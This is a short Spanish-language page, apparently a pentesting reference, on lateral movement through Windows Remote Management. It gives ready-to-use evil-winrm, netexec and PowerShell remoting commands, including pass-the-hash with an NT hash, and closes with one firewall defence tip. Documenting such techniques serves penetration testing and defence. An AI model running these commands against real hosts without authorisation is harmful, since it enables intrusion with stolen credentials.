Qué es
El movimiento lateral con WinRM usa el servicio de administración remota de Windows para ejecutar comandos en otro host. El atacante entra con credenciales válidas y obtiene una sesión de PowerShell con los privilegios de esa cuenta.
Cómo funciona
WinRM es el transporte de PowerShell Remoting. Escucha en el puerto 5985 (HTTP) o 5986 (HTTPS). Viene activo por defecto en Windows Server 2012 y posterior.
Autentica con Kerberos o NTLM, igual que un administrador real. El sistema no distingue la sesión del atacante de la de un administrador: el protocolo y la autenticación son los mismos. No crea un servicio nuevo en el destino, así que deja menos rastro que PsExec.
La cuenta necesita acceso remoto en el destino: grupo Administradores locales o grupo Remote Management Users.
Comandos
Shell interactiva de WinRM desde Linux, con contraseña:
evil-winrm -i <IP> -u <USER> -p <PASSWORD>Igual, pero con el hash NT (Pass the Hash):
evil-winrm -i <IP> -u <USER> -H <HASH>Validar acceso WinRM sobre uno o varios hosts:
netexec winrm <IP> -u <USER> -p <PASSWORD>Ejecutar un comando sin sesión interactiva:
netexec winrm <IP> -u <USER> -p <PASSWORD> -x "whoami"Sesión remota nativa desde Windows:
Enter-PSSession -ComputerName <HOST> -Credential <DOMAIN>\<USER>Comando puntual por WinRM, sin sesión interactiva:
Invoke-Command -ComputerName <HOST> -Credential <DOMAIN>\<USER> -ScriptBlock { whoami }Cómo defenderse
Restringe WinRM a hosts de administración designados con reglas de firewall: corta el acceso desde cualquier otro origen.